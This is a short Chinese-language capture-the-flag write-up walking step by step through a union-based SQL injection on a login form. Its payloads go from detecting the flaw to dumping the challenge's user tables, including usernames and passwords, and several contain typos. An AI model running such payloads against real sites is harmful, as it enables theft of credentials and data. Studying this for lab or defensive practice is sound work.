1. 判断是什么类型的注入
1'
发现报错
原因:select name.passwd from users where username=' 1' ' and password=‘ ’;
有语法错误
所以可以判断为字符型注入
2. 利用order by 语句判断字段数
1' order by 3 #
1' order by 4 #
得到字段数为3
3.显位:联合查询查看显示位
1' union select 1,2 ,3 #
因为字段数为3,所以要显示三个位置
4.爆库:显示出数据库名字
1' union selecct 1,2,group_concat(schema_name) from information_schema.schemate #
或
1' union select 1,2,database() #
数据库名字叫做geek
5.爆表:利用union select联合查询,获取表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
得到两个表名
geekuser
l0ve1ysq1
6. 爆列:利用union select 联合查询,获取字段名 (根据爆表得到的表名得到字段名)
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'
得到的字段名都是id,username,password
7. 爆值:利用union select 联合查询,获取字段值(根据爆列得到的字段名得到字段值,并且还有根据爆表得到表名)
1' union select 1,2,group_concat(concat_ws(id,username,password)) from geekuser
1' union select 1,2,group_concat(concat_ws(id,username,password)) from l0ve1ysq1
最终在 l0ve1ysq1表中字段值页面源代码得到fllag